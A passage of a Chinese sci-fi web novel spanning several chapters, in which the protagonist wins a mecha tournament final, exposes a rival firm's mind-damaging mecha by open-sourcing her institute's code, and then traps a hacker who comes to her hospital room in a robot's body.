“哦？”陶影摸摸下巴，“虽然那也挺有节目效果的，但今天不是。” “你的下一个目标是我。” “大花学姐，瞄准我。” 姬达婳：“……” 她噎了一下，沉默一阵后，回道： “你有病？” 姬达婳不理解，但只能照做。 然后在众人疑惑的目光中，云针的子弹一颗接着一颗，朝陶影攻击去。 本来恒我还在云针的支援下，和溟火维持着你来我往的平衡状态。 但姬达婳一转攻势，这下恒我腹背受敌。 陶影不仅要挡溟火的攻击，还要防远方冷不丁射来的一发子弹。 看台观众茫然道。 “是选手中邪了，还是我们中邪了？” “图兰提斯，你们究竟在干嘛啊，为什么攻击总是反复横跳？” “这是图兰提斯战术最诡异的一届，我真的完全看不懂。” “安德森校长，您能不能解释一下贵校选手的战术考量？” 解说将话筒递到了图兰提斯校长的面前。 安德森其实内心也一片茫然，但镜头前，他只能僵硬地接过话筒。 身为曾经的一线指挥官，他见过各种各样奇怪的战役。 但是这世面他依旧很难解释。 “如果是我校的学生，这种危机时刻，一定会以保护所有选手为己任……所以我猜，这攻击并非出于姬达婳的本意。” “有人给她下了指令。” “是谁呢？” “呃……”安德森语气迟疑。 不知道为什么，安德森就是认为，现在掌控战场局势的是那台黑色机甲的主人。 她的战斗方式让安德森想起一位旧友。 是的，一位做事非常不符合常理的指挥官。 她曾经在战场这样说过。 “战局时时刻刻都在变化。” “掌控队友，比掌控敌人来得简单。” 纯抖S啊。 现在想起来，安德森校长还是忍不住冷汗蹭蹭冒。 说不上来是当她的敌人比较惨，还是当她的队友比较惨。 “战场的指挥官分为三类。” 安德森擦擦额间的汗，解释道。 “一类是十分有人格魅力的类型，天然就会让人产生信任感，听从她的命令。” “一类是非常凶狠的铁腕型，所有人都在她的控制之下，不能违抗命令， 靠恐惧来服人。” “但也有第三种，即这两类的结合，我猜这位主控赛场局势的人，就是这个类型。” 安德森顿了下，眼神凛冽道： “也就是——” “比较有人格魅力的变态。”—— 作者有话说：队友：是的她是。 陶影：？ 第90章 有人格魅力的变态。 这么说选手真的好吗？ 安德森,帝国一级指挥官，战功赫赫。打虫族这么多年，得过的勋章足以堆成一座小山。 常人有这样的地位,应该都很爱惜羽毛了。 这人却老不正经。 解说顿了下，额头冒汗道： “安德森校长真是喜欢一本正经开玩笑。” 安德森爽朗大笑：“哈哈,是吧。” 但看台部分群众似乎并不觉得这是玩笑，相反,他们认为这话说得非常有道理。 “并非玩笑。” “实话实说。” “我就知道肯定是那个缺德女鬼！” 被太空女鬼队坑过的人纷纷捏紧了拳头。 那位队长确实变态啊！ 以及虽然很不想承认,但是…… “那位阴险队长可能也有那么一丁点的人格魅力吧,就指甲壳那么一丁点，咳。” 看台传来一阵掩饰尴尬的咳嗽声。 伊琳娜听不懂观众在说什么,她也不懂机甲。但说到“有人格魅力的变态”,她一下子精神抖擞。 伊琳娜叹气：“这个形容让我想起一位旧友。” “那工作狂的忌日快到了,过两天又得去她坟头骂她。有本事说大话，倒是真变成四维生物活过来啊……” “哦,你说那位天才？”应纱夜半眯着眼，笑容危险道,“可惜当年没跟她说过两句话，感觉和她会很聊得来。” “因为纱夜你也是抖S吧。” 莉缇安娜王女不知为何也开起玩笑。 伊琳娜窝囊地骂了两句后，情绪骤然低落,甚至不知从哪里掏出一瓶红酒，开始借酒消愁。 王女细声安慰她人死不能复生。 伊琳娜吸了吸鼻子，奇怪道：“王女大人也认识那个工作狂？” “算是有一面之缘吧。” 说到这里，莉缇安娜王女不知想起什么，神色莫名陷入回忆。 王女黯然神伤道：“当时她狠狠地拒绝了我。” 伊琳娜正在灌酒，闻言红酒喷了一地。 她脑子一僵，伸手打断：“等下,那个工作狂狠狠拒绝了您什么？” 怎么感觉发现了什么不得了的王室秘辛。 尤里斯上将微妙地抿唇，不太赞同地朝这边观望。 他声音中带着警告：“王女。” 莉缇安娜王女睨了那金发上将一眼，轻微冷哼声，最终还是将话咽了回去。 莉缇安娜王女理了一下裙摆。 “既然伊总不知道，想必你那位挚友不想让你知道。” 伊琳娜：“……” 又来了，又来了！陶影在死亡录像里也是这么说的！ “不要深究，有些事情知道了对你没有好处。” 究竟有什么是不能让她知道的？ 她好歹也是海台科技的总裁，堂堂四大机甲商之一，抗风险能力超强，有什么事情是她不能知道的。 除非是帝国的权力斗争…… 咦？等下，难，难道？ 沉默片刻后，面色呆滞的伊总裁坐下了。 似乎是遭受了什么极大的打击。 解说弱弱地举起手。 “那个……不知道你们为什么突然聊到陶影。” “所以赛场上正在指挥的究竟是谁，有没有人能告诉我？” 看台第一排气氛诡异，俨然已经变成了陶影的追悼会兼人脉大赏。 而海滩上，众人口中十分天才的The陶影，对此毫无所知。 正完美地被敌方机甲按在地上揍。 战况近乎一边倒。 “大花学姐，真的还要射击吗？” 祝小芮焦急地询问情况。 而姬达婳端着枪，汗水顺着脸颊不停往下流。 她也不知道还要不要继续射击。 这一枪如果击中，陶影就毫无反抗之力了。 但陶影刚才又说：“你要射击，把我当敌人一样射击，不能留手，我才能真正的赢。” “否则我们都会死。” 陶影说得很轻松，但语气很认真。 “生命是不会停止的螺旋，而你我将战斗，直到生命的尽头。” “是吧，姬达婳？” 偏偏在这种时候正儿八经叫她名字。 偏偏说了这句话。 “生命是不会停止的螺旋”，这是图兰提斯新生致辞中，被众人最为广为传播的一句。 是的，她们图兰提斯的学生，将会战斗到流干最后一滴血。 姬达婳认为自己大概是疯了，竟然落入这种境地，还在听这女鬼说些疯话。 但是，但—— 她这样说的话，好像真的会赢。 姬达婳沉默片刻，咬了咬牙，猛地连续三下扣动扳机。 以杀死陶影的力道。 以要杀死陶影的准度。 以绝对无法避开的角度！ 姬达婳大喊：“去吧！” 子弹穿插着飞跃整个赛场，在空中不断地飞舞，朝海中射去。 同时，溟火也朝恒我发起攻击。 所有人都屏息，注意着这决定战局的一击。 但其实没有人真正地认为，陶影可以全身而退。 三颗子弹，一台机甲，将那台黑如极夜的机甲，困入死角。 回天乏术。 “恒我被击中了！” “恒我坠落了。” “恒我沉入了海中！” 黑色的庞然巨物，被子弹击中，骤然沉入海底。 水面咕嘟咕嘟冒着气泡。 赛场一片死寂。 但片刻后，突然有人站起身道。 “不，它不是被击落的，我，我好像看见，恒我躲开了最后一颗子弹……” 那人按着自己的电子义眼，不可置信道。 “而且是以人类的肉眼无法捕捉的速度。” 海水中，似乎有什么东西在搅动。 溟火正在寻找下一个攻击目标，已经转身准备离开，此刻却敏锐地回过身。 它红色的眼睛，盯着那不断滚动的海面。 有东西。 那海底，有什么……恐怖的东西。 【机师精神力共鸣指数持续上升。】 【20%——56%——】 陶影闭上眼，她的意识上浮，精神半抽离□□。 恒我的精神力模块，脱胎于大学时候，她跟随导师做的一个项目。 其涉及到人类的意识，与电子信号的相互转换。 陶影的意识陷入电子洪流，感受着足以让常人崩溃的巨大精神力冲击。 很快，她再次站在了那个黑暗的空间里。 【80%——100%。】 【——ResonanceAplished.】 【SPIRAL，我们将并肩作战。】 进入Resonance共鸣模式。 精神力触手，在陶影背后织出一张强大的网络。 陶影眼神空置一瞬，像是去了很远的地方。 随后恢复了神采。 她轻轻点头，粲然一笑。 “当然。” 你就是我。我就是你。 她是……SPIRAL。 随后，恒我一脚跨出。 它的动作，极慢、极慢。 有些像人类，有些像兽类，有些像虫族，有些像机械生命。 有些像所有生命的共同体。 像是传说中的—— 拥有永恒生命的—— 神明。 时间仿佛在那一刻停止。 一步，又一步。 恒我稳定地走向前，随后侧身躲过溟火的攻击，拦腰抱住溟火，将它向前一扔。 红色机甲在空中抛出一个弧线，随后重重摔入海里。 水花溅起十几米。 因为离看台很近，观众甚至能感觉到些微的水顺着风飘来，沾到脸上，凉丝丝的。 溟火翻滚着起身，又被走近的恒我毫不留情按进水里。 恒我掐住它的脖子，一拳，一拳。 对着脸揍了下去。 像是在发泄什么，又像是终于等到了这一天。 金属的碎片破碎着，飞舞着，溅射着。 溟火逐渐变成废铁。 落日之下，溟火已经燃烧得失去原有的高傲形态，但它的杀戮并没有结束。 如果生命已到尽头，那野兽将拼尽一切—— 溟火右臂狠狠地插入胸口，从那里掏出一颗缠满了线路的核心。 是隐藏在能源核心下的最终武器。 看台有技术员道：“这，这不是机甲的自 毁装置吗？溟火打算自爆？” “联赛中怎么会允许携带这种武器！” “检查部在做什么？！这会波及到观众席！” “我去，失控到这个地步！！！” 观众席爆发。 “帝国第一军校联赛中竟然没有撤掉这个武器？！” 帝一的学生道：“这是爱荷华科技全权负责的。” 帝国第一军校的负责人就要冲到第一排质问尤里斯，被安全员拦住，他冷哼一声，又冲到爱荷华科技的研究员面前。 “爱荷华科技究竟在做什么？” 那研究员被他惊人的气势吓退几步，小声道： “我们，我们应该是都撤掉了的。这是哪里来的攻击模块？” 莱机所的成员冷笑一声：“这是隐藏的自爆模块，用来保护机师的，恒我上场之前已经撤掉。至于你们爱荷华科技，当然不会知道它的存在，毕竟恒我的机体你们稍稍复制一下，就直接拿来用了。” 观众席响起红色警报，工作人员临时调来了防护盾。 观众这下同仇敌忾，连赛前说着“抄袭也自有原因的”人，都开始大骂特骂爱荷华科技简直是疯了。 “抄得也太过分了！” 而这时候，溟火手里已经捏碎了那颗自爆核心，眼见就要波及到看台。 “等，等一下啊，防护盾还没有完全展开，这样下去看台会瞬间化成灰烬——” 而这时，内场的南卦突然捂着头蹲下。 林别歌关心地靠过去：“你怎么了？” 南卦按住太阳穴，神经一阵阵刺痛，“我感受到两股极强极强的精神力，一股非常暴躁，另外一股很温和，但，但令人恐惧。” “它，它太宏大了，像是曾经历过漫长时间……” 南卦咬牙说着，瞬间晕了过去。 “南瓜！” 而看台第一排，莉缇安娜王女、尤里斯、应纱夜、姬亦，同时猛地起身。 “这，这是SS级别的精神力！” 恒我的精神力护盾展开。 “月障——” 火光炸裂，陶影的精神力骤然爆发，随着和恒我的共鸣，拦住了溟火毁灭级别的攻击。 “影子！”“队长！”“S老师！” “小心！” 选手们失声惊呼。 而她们视线所指的方向，滚烫的海水汽化，又凝为白色雾气，遮盖了整片大海。 绿色火焰铺满海面，海浪拍打着看台的边缘。 哗啦，哗啦—— 机甲的碎片随着波涛晃动着。 片刻后，众人仰头。 染成极夜颜色的机甲，神明一般庞然矗立在那里。 它伸出一只黑色机械臂，轻轻搭在溟火的头顶。 海水开始倒灌。 以奇特的速度，以螺旋的角度，掀起滔天的巨浪。 女人低声道。 “永眠吧，复制品。” “轰——”一声巨响。 火红色的机甲坠入地狱。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 姬亦把玩着手中的机甲钥匙,盯着陶影。 “她的精神力竟然上涨这么快。” “姬元帅也在啊。” 应纱夜眯了眯眼，和这位联邦的元帅寒暄了两句。 “家兄的精神力等级也只有S，这名学生的确很厉害,话说回来听您这语气，难不成——您认识恒我的机师？” 应纱夜言下之意,亚克联邦的退役元帅，为什么要掺和进帝国的事情？ 姬亦装作没听见应纱夜话里的机锋,随意道：“她姑且算是我学生吧,虽然我什么都没教过她。” “哦——”应纱夜一脸不信。 莉缇安娜王女喃喃：“这个年纪就有SS级别的精神力吗？” 图兰提斯的校长也道：“上次感受到这样的精神力,还是在塔恩泽虫巢歼灭战，帝国已经很多年没有出过精神力SS级别的人类了。” 一时间,众人都在惊讶陶影的精神力级别。 而机特学院的学生,更是觉得奇怪。 之前开学检测陶影的精神力还是S。 而这短短的几个月时间,竟然上升到了SS级别？ “S级和SS级之间是天堑，想跨越这个级别,正常人要花上几十年的时间训练提升，即便这样,也不一定能成功。” “短时间内提高这么多，难道是精神力手术？” 有人摇头：“不可能，我有个学长为了开知觉机甲去做手术,最后精神力半残了，这个手术根本不成熟。” “精神力不像体质可以靠做手术提升，都是实打实的能力。” 机特学院的学子们这时候终于相信，陶影的精神力是实至名归。 他们仰望道： “她……果然是天才。” 比赛结束，选手被一个个往外抬，塞满了医疗舱。 医疗组忙得叫苦连天。 “我听说高校联赛的医疗环境比较轻松才调来的，怎么打得比职业联赛还夸张。” “就是,刚才那波精神力攻击，场内直接倒了一片。” “只能说好在没有断手断脚的。” 医疗组正七嘴八舌说着，一台黑色机甲的阴影遮盖了他们的头顶。 众人仰头。 哦——这不是恒我吗。 就你是吧，就你刚刚放倒了那么多人！ 医疗组小兵朝它挥挥拳头，一怒之下怒了一下。 “我给你等着！” 医疗组长失笑，朝这边比了个手势，询问陶影是不是也需要什么帮助。 黑色机甲点了点头，随后半蹲下。 摊开右手。 正好能容纳一人大小的金属硬壳，出现在恒我的掌心。 医疗组长靠近才发现，那台机甲手里捏着破碎的驾驶舱，是孙弦。 他闭着眼睛脸色苍白，显然已经失去了意识。 “是溟火的驾驶舱！” “孙弦还有生命迹象，快，快救人！” 医疗组长着急地挥手，空中担架迅速飞过来，几人合力小心将孙弦抬上去。 随后担架飞入医疗舱。 孙弦进入了紧急抢救阶段。 在担架旁边排队的老三，看到这个场景，郑重起身朝陶影道谢。 老三：“谢谢你救了我的队友。” 而且老三现在确定了，刚刚陶影用碎石堵住地下通道的入口，是为了不让他被溟火发现。 他是狙击手，机体很脆皮，不像蒋凌雪还能近身跟溟火碰一碰。 如果他被发现，现在恐怕已经被扔进海里喂鱼。 怎么可能全身完整地站在这里！ 老三劫后余生，再次朝陶影鞠躬道：“是我错怪你了，你真是个好人。” “刚刚不该骂你是小人。” 高处的陶影：“？” 这人说什么 呢，叽里呱啦的，听不清。 不过应该是在谢她救了孙弦。 陶影不是免费救人，只是溟火失控的事情需要一个证人。 孙弦活着对她没有坏处。 不过被人感谢总比被当敌人来的好，陶影朝老三比了个剪刀手，就当作是听见了。 然后跟骂骂咧咧担心她的林别歌打了声招呼。 处理完杂事，陶影转身又开着机甲，踩入海水，回到看台边。 她要开始做正事了。 观众席。 众人看着这台去而复返的黑色机甲，想起它刚才的强大模样，心里都有些发怵。 大家还沉浸在刚才SS级别精神力的冲击当中无法自拔。 精神力还在颤抖着，连接全身的神经，都在微微抽搐，提醒着观众刚才发生了什么。 他们不禁会好奇，那强大精神力的主人是谁？ 恒我的机师究竟是谁？ 解说又好奇又有点怕，半蹲在椅子后面，探出头，正好跟恒我的大脑袋对上视线。 不知道是不是她的错觉，这台机甲露出了恶作剧的表情。 果然，下一刻，那机甲弯下身，手在海里搅动两下，卷起漩涡。 观众的心都提到了嗓子眼，一脸惊恐道： “她，她想干嘛？” 只见黑色机甲，手从漩涡中抬起，掬了一捧的水，趁众人不备，朝观众席泼去。 这捧水看上去非常无意。 但实则每一步都经过了精心的设计。 极有指向性。 毕竟正好精准地泼到了第一排的尤里斯爱荷华。 从他头上毫无美感地像浇菜一样浇下。 大家：“……” 解说：“……” 浑身湿透，连睫毛都沾着海水的尤里斯：“……” 一时间，小报记者对着帝国上将小拍特拍，然后点开他的光脑，开始飞速写独家新闻。 后排观众一脸邪笑：“已经能想到今夜的星网会出现什么报道了。帝国上将湿|身|诱|惑！谢谢这位机师的手误。” “那今天的头条新闻大概不会是这个。” 下一刻，恒我头部低垂，驾驶舱打开，白气泻出。 陶影倾身探头，一脚跨上看台的栏杆，她站在那里—— 直面尤里斯爱荷华。 陶影欣然一笑：“好巧，又见面了。” 也许因为观众太多，这人不好发作，或是尤里斯在军队里呆了这么多年，在忍耐力上更胜一筹。 或者根本没把她放在眼里。 总之尤里斯没有生气，只是眼神带了些冷意。 他淡漠道：“上次泼咖啡是不小心，这次是意外？” “少校明察秋毫。”陶影无辜摊手。 “是上将。” “哦，上校大人，这不重要。” 陶影装作没感觉到尤里斯的眼刀，撩了一把汗湿的头发。 她心情极好地笑了两声。 “上校大人，你今天该担心的不是这个。” “那我该担心什么？” “该担心爱荷华科技的股价。” 陶影笑了笑：“毕竟溟火从第一代机体开始，就有一个致命的缺陷——” “它会对机师的精神力造成不可逆的损伤。” 众人这才反应过来，一拍脑袋。 “对了，差点忘了这茬！” 应纱夜起身。 比赛已经结束，她现在没有离席的唯一原因，就是要知道这件事的真相。 “溟火会永久损害机师的精神力，究竟是怎么回事？” 刚才车晓理说到这件事，应纱夜本来追问，但因为溟火失控波及观众席，情况危急。 话题这才一时被打断。 如果说一开始只是怀疑，看到溟火最后的状态，应纱夜几乎确信。 这个说法恐怕没错。 应纱夜身为应家的女儿，曾接触过第二星系前线的绝密录像。 录像中，原本对着虫族大杀特杀的机师，突然转头杀了队友。 当时，军中以为是这名机师杀红了眼，分不清敌友。 为了不影响名誉，军队将这件事压了下来。 但现在想来，那人失控的形态，如同野兽，和孙弦一模一样。 现在……也许看孙弦的状态，就能直接得到答案。 陶影摊手道：“我们等等孙弦吧。” 医疗组很快传来消息，孙弦恢复了意识。 但人有些呆呆的，明显还没缓过来。据队友说，他受到了永久的精神力损伤。 这不是跟刚才的对话印证上了吗。 “溟火果然有问题！” “不行，这件事情必须有个说法。” “研究员，你们说说怎么回事！” 众人纷纷对爱荷华科技的技术人员摩拳擦掌。 现场的爱荷华研究员，他们是负责来收集溟火MK2成功运行的数据的。 今天原本应该是溟火MK2大放异彩的日子，但没想到，那台被他们寄予希望的机甲，不仅被另一台黑色机甲揍得碎屑乱飞，现在还陷入了舆论中心。 事情急转直下。 好在刚刚，中心已经准备好了应对的话术。 爱荷华科技的研究员推推眼镜。 “我非常能理解大家刚刚受惊后的心情，但必须强调的是，今天发生的事，只是个例，知觉机甲的驾驶过程中总是会出现一些意外，何况……孙弦的精神力原本就不太稳定。” 说着，那研究员睨了陶影一眼。 溟火会导致失控，以至于机师精神力损伤这件事情，其实外行人很难找到证据，毕竟只要溟火的代码不公开，没有人能真正拍板确认。 爱荷华科技完全可以将事件推脱给机师本人的精神力不稳定。 “很遗憾，维亚医疗检测到孙弦本人的精神力，在驾驶溟火前就并不完整。” “只是爱荷华科技想要给所有学生一个机会。” “哪怕是精神力B级。” 爱荷华科技的技术员上前一步，隔着防护盾，递上了孙弦的精神力报告。 技术员神情笃定。 溟火的缺陷，这名学生不可能证明，莱机所的任何一个人都不可能证明。 就算是陶影本人来了也不行！ 但陶影却摆手，根本没看那份报告。 她的计划本来就没打算靠孙弦扳倒这一局。 那也太不好玩了。 在技术员惊诧的目光中，陶影垂眸道：“为了维护爱荷华科技的名声，就这么曝光病人的隐私？” 技术员面色一僵，将报告往里折了折。 “是我们考虑不周到了，回头会征求孙弦同学本人的意见。” 爱荷华科技征询意见？那不同意也得同意吧。 陶影心中腹诽。 但她并没有驳斥，反倒是灿烂一笑。 “其实有一个很好的证明办法，我可以替爱荷华科技开个头。” 那技术员疑惑道：“开个……头？” 她想干什么，开什么头？ 陶影看着众人迷惑的表情，微妙地笑了。 “请大家看看莱门机甲研究所的官方帐号。” “那里有一切的答案。” 第92章 众人虽然疑惑,但出于好奇，还是点开星网，搜索了一下陶影说的帐号。 一下子刷出来十几个同名帐号。 “是哪个号啊？” “粉丝量五千五的那个。” 众人一看,用的还是星网默认头像，跟假官方似的。 堂堂一代知觉机甲的制造商,官方账号这么没有排面？ 大家不太信任地点开，帐号显示最新发布的博文在十年前,配了一张机甲的剪影图,写着敬请期待。 在场众人抬头又低头。 没错了,是真官方。 这个剪影跟恒我一模一样。 十年前，也就是说陶影死后,这个帐号就再也没有发布过任何东西。 众人伸手道：“答案呢？” “不是说一切的答案都在这里吗？” 就像在回答众人的疑问,莱机所的首页弹出一条全新博文,内容只有一个短链接，还有俩字： 点它。 众人一脸无语：那很简洁了。 难道这个链接里就有真相？好奇心被吊起来,大家纷纷进入网址。 网站的Logo黑底白字，写着GitUni,看上去像是个技术网站。 但这跟溟火的失控有什么关系？也不能解答他们的问题啊。 众人仰头道：“这什么网站？” 陶影微笑点头：“全星际最大的跨物种交友网站。” “啊？” 莱机所的同事磨牙道：“她逗你们的。” “GitUni是星际开发者最常用的源代码托管网站，莱机所在GitUni开源了恒我的精神力模块。” 众人齐齐摇头：“听不懂，说人话。” 陶影心道同事们还是一点不擅长解释,于是笑着道： “简单来说，莱机所公开了恒我的关键代码，这代表着，溟火的失控也将被解释。” “莱机所开了个好头。” 陶影往前倾身，凑到尤里斯耳边，半眯着眼道： “爱荷华家族敢接招吗？” 尤里斯爱荷华没有回答，擦掉额间的水珠,就那样看着陶影。 半晌，他说：“如果要做，最好能一次达到目的。” “因为你没有第二次机会。” 陶影愣神片刻，微笑道：“正有此意。” 观众还在一愣一愣反应的时候，星网已经被莱机所这条爆炸性的消息炸飞。 柏氏工业、海台科技纷纷转载了莱机所的博文。 业内论坛大幅度震动。 “真的假的，恒我开源了？你不 要骗我。” “是真的，我们公司几百名技术员紧急成立了技术小组投入研究。” “你别说，这代码太优雅了。” 有人还是不信：“可知觉机甲这种先端技术，前期研究需要投入大量资金，在回本或者研究出下一代技术之前，绝对不可能开源。” “是啊，溟火MK2发行，爱荷华科技都没舍得把一代开源。” 而有人立刻反驳：“千说万说，数据就在那里，所有人都可以看见。” “我也不信，还以为是在做梦，可它就是真的。” “这是带整个机甲行业，甚至人类共同进步的壮举啊。” “以后，也许有更多更多的机甲厂商，可以参与进知觉机甲研究。” “感谢莱机所。” 而研究员们迅速阅读代码，很快齐心讨论，推测出溟火失控的原因。 “精神力模块已经非常成熟，很难在这个基础上提升。估计溟火就是单纯不顾机师死活，下调了精神力的限制。” “大量的精神力操作，当然会让精神力等级不够的机师失控。” 爱荷华家族在舆论的裹挟中，不断被人@，要求开源溟火的精神力数据。 虽然爱荷华科技以溟火为军方服役为由，不可以公开数据，但众人显然并不接受这个解决方式。 联赛看台，一个脸上有疤的，身上一股匪气的雇佣兵穿越安保，冲上来就揪住了尤里斯的衣领。 “都是因为你们，都是因为爱荷华科技的溟火，我的精神力终身受损，落下了残疾！” 全场哗然。 那名雇佣兵目眦欲裂，没人敢拦。 他说着，愤怒地指着赛场上的溟火：“我八年前精神力受损，和那个人的状况一模一样，之后呆傻了好几个月，差点死在战场上，是被路过的人救了，还送进医院，现在才勉强能说话。” “你们只顾着自己的机甲，至于机师会有什么后果，你们根本不在乎！” 雇佣兵开始讲述自己的精神力受损后遗症。 “我一开始是被爱荷华科技的试驾吸引了。当时听了你们的鬼话，说什么哪怕精神力不高，也可以开知觉机甲。” “可那全是骗局！” “你们背叛了我们的信任，只把我们当作免费的小白鼠，发现精神力出问题了，就给点钱打发扔掉。” “我们平民的命就是贱，就是可以扔掉，是吗？” 陶影拿过解说手中的话筒，递到尤里斯嘴边，干脆不演了。 “有什么要狡辩的吗？” 尤里斯狼狈不堪，说不出来什么。 沉默在这种时候，代表着默认。 莉缇安娜王女深吸一口气，震怒：“竟然如此？知道培养一个一级机师要花多少钱多少时间吗，十年！整整十年！你们知道前线机甲如果失控，会对整个帝国的局势有多大的影响，一旦前线失守，整个第二星系都会陷入水深火热之中。” “而这之后，就会是第一，和其它所有的星系！” “爱荷华科技是要置帝国所有民众的安危于不顾吗？” 应纱夜也神色严肃，早已收起了刚才的玩笑。 “应家要重新考虑和爱荷华家族的合作了。” 莱机所的官方帐号给出了开源数据，一大批曾经使用过溟火的雇佣兵，以及组织开始维权。 应家在经过精神力数据的确认后，暂时停止了与爱荷华科技的合作。 溟火就如陶影所预料的一样，被众人抛至脑后，彻底成为废品。 而莱机所开源的事情，迅速在各大机甲商那里捞了一票好感度——当然，不止如此。 恒我的精神力模块，虽然开源，但并不免费，商业使用仍然需要支付版权费。 这些钱，将作为明面上的资金，支撑莱机所的重建。 毕竟总不能用她的钱吧。 她明面上可没什么钱，只是个受资助的穷苦大学生罢了。 而有关知觉机甲的研究如雨后春笋般冒了出来，被爱荷华科技垄断多年的技术，此刻焕发新生。 知觉机甲的研究一时间百花齐放，前途光明。 爱荷华科技则是股价大跌，溟火MK2根本卖不出去。 且因为他们的机甲曾经销往前线，害过不少机师，民众开始自行抵制他们旗下的所有产业。 这次连背后的帝国势力也没站在他们这边，相关人员被抬出来接受审判，并重罚。 而这仅仅是三天内发生的事情。 三天，爱荷华科技被莱机所斩断手脚，架在大火上烧烤。 而这还不是结束。 莱门机甲研究所的帐号，在开源恒我后，公布了全新的机甲生产计划，几个型号刚一发布，就被订完了一年的产量。 莱门机甲研究所的成员重新聚集在切斯特星。 他们将开创新的未来。 而此时，计划这一切的陶影正在医疗舱吸氧。 先声明一句，她不是因为决赛的时候战斗过度倒下的。 陶影对自己的体力经过了严密计算，精准控制，就决赛那天的强度，应该正好不会倒下。 那是怎么回事呢。 陶影本来靠在栏杆上，看热闹看得好好的，谁料那雇佣兵突然给了尤里斯一拳，直接打出血了。 谁能想到帝国上将竟然完全不躲，就站在那里让人揍啊？ 早知道她也趁乱偷上电击|枪了。 总之，陶影当即晕血发作，掉进海里，就这样在医疗舱关了三天。这期间有不少人来探病，不过说不到五分钟，都被医生给挡回去了。 想到这里，医生正好推门进来。 是陶影在宇宙中遇到的那位暴躁医生。 医生取下胸口的笔，在文件上噔噔地敲了两下，随后又是一声冷笑。 “你怎么不等死了再进医疗舱？” 陶影笑眯眯道：“女鬼是不会死的。哎，医生，不可以揪病人的衣领，我好歹是花了钱进的医院。” 那医生骂骂咧咧。 “你给的那点钱还不够我看心理医生！再叽歪就找别人治去！” 谁家医生这么暴躁啊。 身体没什么大问题，但陶影还是被阴阳了整整十分钟。 “体质F开机甲，还拿了联赛冠军，挺有出息的哈？” 陶影笑容满面地点头：“那确实。” “星际作死大赛你也能拿冠军。” 医生冷哼了声，才放过陶影，做完例行检查，又以威胁性的语气警告陶影这几天最好就躺在病床上哪里都不要去。 陶影嘴上乖巧应是。 但她是根本没办法躺下来休息的类型。 病房非常安静，而且也没有联网。 陶影看着天花板上的裂纹，数了一阵，又拿出光脑的单机小游戏，迅速通关。 太无聊了。 今天怎么还没有人来探病？ 大家不是都很爱她吗？ 没有人探病她怎么偷溜出病房。 陶影思索片刻，鬼鬼祟祟地下床靠近门边，正好看到车晓理来了。 陶影腿就往门外那么一伸，车晓理手就把陶影往病房内那么一推。 车研究员双手抱臂，凶巴巴道：“跑什么，医生说你不能离开病房。” “谁跑了，我就是想呼吸一下新鲜空气。其他人呢？就你一个？” 车晓理摆摆手：“别说了，她们正在处理莱机所的商业对接，忙得要死，这几天根本抽不出时间过来。” “我跟龙研究员前天来过，但是被医生骂出去了。” “还有你那两位队友，姓林的那个来看过你。另外一个似乎是受到恒我精神攻击的影响，竟然精神力等级上升了一点，这几天都在接受详细检查。” 陶影点点头：“那挺好的。我前几天说的事办得怎么样了？” “哦，对外散播消息，说你接受了维亚医疗的治疗，而且病房安排也完全断开了网络连接，没人能联系到你，这件事是吧？办好了。” “不过你明明换了别家的医疗舱吧，为什么非要说是维亚医疗，这件事很重要吗？”车晓理奇怪地问。 病床上的陶影翻了个身，微微一笑。 “没什么，只是我闲得很。” “想逗狗。” 第93章 车晓理一脸麻木：“你说的这个狗最好真的是狗,而不是某个被盯上的倒霉人类。” “怎么会，我是这种人吗？” 陶影一脸不可捉摸的笑容，车晓理当即看出,她这明显是在病房待得长蘑菇，非要找个人来玩玩,那车晓理还能继续呆在这儿当靶子吗？她不能。 死道友不死贫道！ 车晓理搓了搓手臂，近乎逃离了陶影的病房。 车晓理走出病房两步,下了楼,心中正啧啧感叹不知道谁这么倒霉被这人盯上了,就看见走廊拐弯处，一台形态可爱的小机器人,正在以缓慢的步速行走。 机器人身上到处是撞伤的凹坑,明显在路上经历了不少辛酸的故事。 但这是个家政型机器人吧,智能程序比较低级，竟然能独立完成来医院这种需要高级规划的行为？ 花园里散步晒太阳的病人,似乎都觉得小机器人挺可爱的，以为是医院的员工,没事摸摸它脑袋，像逗狗一样。 车晓理疑惑地观察了一阵。 发现小机器人沿路逮着一个护士就问：“请问你知道白颖同学的病房在哪里吗？我是她的智能管家。” 明明看上去有点社恐的样子，还在努力跟人搭话,看上去怪可怜的。 护士似乎有些怜爱了，回头朝同事道： “它要找那位病历单比命还长的重点关照人物。” “哦，体质F啊，她被关在特护病房好久，估计是因为无聊才叫它来的，你问问。” 护士给陶影打了个电话，确认后顺手帮它指了一下路。 小机器人就这样圆滚滚地来到陶影的病房前。 叶行晖这几天心情坠入谷底。 因为找不到陶影的位置。 医院封锁了消息,他根据莱机所的信息，推测出陶影被维亚医疗收入特护病房，本来想直接侵入，但特护病房隔绝了网络，他根本没办法知道陶影现在的情况。 维亚医疗是爱荷华科技旗下的产业，叶行晖几乎是从出生就住在这家医院了，他非常清楚，这对陶影来说不是一个安全的地方。 其实叶行晖当时如果冷静下来，仔细地想想，会发现这件事错漏百出，就好像为他专门定制的陷阱。 但涉及到陶影的事，他根本无法冷静。 他失去过她一次，在漫长的等待中已经品尝过那种平静的压抑的疯癫。 所以刚刚知道消息和位置，就立刻赶来。 它走到病房前，门自动打开。 小机器人的脚步顿了下，似乎是有些迟疑。 进入医院后，一切都太过顺畅了。 难道这是陷阱？ 但当叶行晖看见陶影半靠在病床上，脸色苍白的样子，所有的思考都被打断了。 就算是也不重要了。 现在需要先确认小影的安全。 它滚着履带飞速来到病床前，悄悄连接上病房内的仪器，确认陶影的身体状况。 精神力数据稳定。 体质数据和之前没有太大差别。 还好，生命体征稳定，联赛发生的一切，似乎都在她控制之内。 没有太大的问题。 叶行晖松了一口气。 而因为太过专注，他并没有注意到，背后的病房门已经悄然关上。 …… 陶影刚刚似乎在睡觉。 被小机器人的动静吵醒，她困意十足地从被子里伸出来半张脸，眨巴眨巴眼睛，指了指她的右边。 “扶我下床。” 小叶老实巴交地照做。 而就在小机器人即将松开陶影手掌的一瞬间，陶影却猛地翻身，刹那间来到它背后。 随后，水果刀锋利的刀刃顶住小机器人的电源。 水果托盘坠落在地上，发出当啷的清脆响声。 左手一个数据盘插入智能管家的数据接口。 小机器人不知道发生了什么，一动不敢动，再看床头镜面反射中的陶影，眼里哪有困意，刚才分明是在演戏。 随后，陶影的手暧昧地抚摸两下智能管家的仪表盘。 在小机器人露出震惊表情后，陶影垂头笑了两声。 随后凑近叶行晖耳边，轻轻地吐息。 “抓住你了，Dust。” 